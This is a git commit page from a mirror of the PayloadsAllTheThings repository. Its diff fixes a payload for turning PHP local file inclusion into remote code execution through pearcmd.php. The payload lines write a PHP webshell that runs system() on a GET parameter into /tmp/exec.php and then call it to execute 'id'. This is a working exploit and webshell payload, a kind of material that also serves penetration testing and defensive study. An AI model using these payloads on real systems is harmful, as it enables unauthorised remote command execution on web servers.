mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
Add two methods about LFI to RCE via PHP PEARCMD, and delete extra double quotes in method 2 payload
This commit is contained in:
parent
072cac04d6
commit
95a85b455d
@ -516,7 +516,7 @@ There are this ways to exploit it.
|
||||
```
|
||||
* Method 2: man_dir
|
||||
```ps1
|
||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+"
|
||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
|
||||
/vuln.php?file=/tmp/exec.php&c=id
|
||||
```
|
||||
The created configuration file contains the webshell.
|
||||
|
Loading…
Reference in New Issue
Block a user